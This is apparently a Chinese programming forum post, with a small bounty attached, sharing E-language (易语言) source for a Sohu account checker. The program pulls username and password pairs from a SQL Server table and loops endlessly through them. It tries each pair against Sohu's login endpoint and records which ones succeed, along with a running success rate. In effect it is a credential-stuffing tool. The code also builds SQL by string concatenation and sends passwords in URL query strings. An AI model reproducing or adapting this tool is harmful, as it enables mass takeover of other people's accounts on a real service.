|

5精币
使用精易免费模块
.版本 2
.支持库 eDB
.支持库 Md5
.支持库 spec
.支持库 EThread
.程序集 窗口程序集1
.程序集变量 返回文本, 文本型
.程序集变量 sql文本, 文本型
.程序集变量 ID, 文本型
.程序集变量 账号, 文本型
.程序集变量 密码, 文本型
.程序集变量 成功数, 整数型
.程序集变量 失败数, 整数型
.程序集变量 验证数, 整数型
.程序集变量 线程ID, 整数型
.子程序 __启动窗口_创建完毕
.如果 (数据库连接1.连接SQLServer (读配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “服务器名”, “EBS-28479”), 读配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “数据库名”, “sohu”), 读配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “用户名”, “sa”), 读配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “密码”, “*******”)) = 真)
_启动窗口.标题 = “连接数据库成功”
.否则
_启动窗口.标题 = “连接数据库失败”
.如果结束
.子程序 子程序_验证账号
sql文本 = “SELECT [id],[账号],[密码] FROM [sohu] where [当前状态] is null”
记录集1.置连接 (数据库连接1)
.如果 (记录集1.打开 (sql文本, #SQL语句, ) = 真)
记录集1.读文本 (“id”, ID)
记录集1.读文本 (“账号”, 账号)
记录集1.读文本 (“密码”, 密码)
网页_清除Cookie (“.sohu.com”)
返回文本 = 到文本 (网页_访问 (“https://passport.sohu.com/sso/login.jsp?userid=” + 编码_URL编码 (账号, 真, 真) + “&password=” + 字符串加密 (密码) + “&appid=1019&persistentcookie=1&s=1423735004187&b=0&w=1366&pwdtype=1&v=26”, 0, , , , , )
调试输出 (返回文本)
.判断开始 (返回文本 = “login_status='success';”)
sql文本 = “UPDATE [sohu] SET [当前状态] = '验证成功' WHERE [id]='” + ID + “'”
记录集1.打开 (sql文本, #SQL语句, )
标签1.标题 = 账号 + “:” + 密码 + “ 验证成功”
调试输出 (账号 + “:” + 密码 + “ 验证成功”)
成功数 = 成功数 + 1
.默认
sql文本 = “UPDATE [sohu] SET [当前状态] = '验证失败' WHERE [id]='” + ID + “'”
记录集1.打开 (sql文本, #SQL语句, )
标签1.标题 = 账号 + “:” + 密码 + “ 验证失败”
调试输出 (账号 + “:” + 密码 + “ 验证失败”)
失败数 = 失败数 + 1
.判断结束
验证数 = 验证数 + 1
标签2.标题 = “验证数:” + 到文本 (验证数) + “ 成功数:” + 到文本 (成功数) + “ 失败数:” + 到文本 (失败数) + “ 成功率:” + 到文本 (成功数 ÷ 验证数 × 100) + “%”
.否则
.如果结束
.子程序 _按钮1_被单击
启动线程 (&子程序_开始, , 线程ID)
按钮1.禁止=真
.子程序 子程序_开始
.局部变量 句柄, 整数型
.局部变量 a, 整数型
.判断循环首 (a = 0)
子程序_验证账号 ()
' 启动线程 (&子程序_验证账号, , 句柄)
.判断循环尾 ()
.子程序 _时钟1_周期事件
标签3.标题 = “系统运行了:” + 取程序运行时间_文本 ()
.子程序 __启动窗口_将被销毁
数据库连接1.关闭 ()
写配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “服务器名”, “EBS-28479”)
写配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “数据库名”, “sohu”)
写配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “用户名”, “sa”)
写配置项 (取运行目录 () + “\sohu_验证账号.ini”, “连接信息”, “密码”, “*******”)
.子程序 _按钮2_被单击
销毁 ()
|
回答提醒:如果本帖被关闭无法回复,您有更好的答案帮助楼主解决,请发表至 源码区 可获得加分喔。 友情提醒:本版被采纳的主题可在 申请荣誉值 页面申请荣誉值,获得 1点 荣誉值,荣誉值可兑换荣誉会员、终身vip用户组。 快捷通道:申请荣誉值 →
|